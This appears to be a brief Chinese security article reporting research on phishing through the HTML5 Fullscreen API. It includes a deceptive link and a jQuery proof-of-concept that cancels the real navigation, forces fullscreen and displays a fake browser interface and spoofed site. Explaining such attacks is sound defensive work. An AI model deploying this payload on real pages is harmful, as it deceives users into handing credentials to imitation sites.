HTML5里面新增了一个JavaScript API——Fullscreen,可以让 HTML 元素可以实现全屏显示。很多站点上已经使用了该API,比如youku、tudou、YouTube、Facebook等
但是带来便捷的同时,也带来了更多的安全风险,日前,老外研究发现利用该API可以成功进行钓鱼攻击。
攻击原理:
建立用户信任的网站链接:
访问<a href="https://www.www.freebuf.com.com">freebuf.com</a>关注黑客与极客
用户鼠标悬停在该url时,状态栏将会显示https://www.freebuf.com,然而,当用户点击链接的时候,调用event.preventDefault()方法来阻止点击到实际链接的页面,相反,会触发全屏模式,并将仿造的页面插入到当前页面。
$('html').on('click keypress', 'a', function(event) { // Prevent navigation to legit link event.preventDefault(); event.stopPropagation(); // Trigger fullscreen if (elementPrototype.requestFullscreen) { document.documentElement.requestFullscreen(); } else if (elementPrototype.webkitRequestFullScreen) { document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT); } else if (elementPrototype.mozRequestFullScreen) { document.documentElement.mozRequestFullScreen(); } else { // fail silently } // Show fake OS and browser UI $('#menu, #browser').show(); // Show fake target site $('#target-site').show(); });
preventDefault()方法解释:
防止链接打开 URL:
$("a").click(function(event){ event.preventDefault(); });
定义和用法
preventDefault() 方法阻止元素发生默认的行为(例如,当点击提交按钮时阻止对表单的提交)。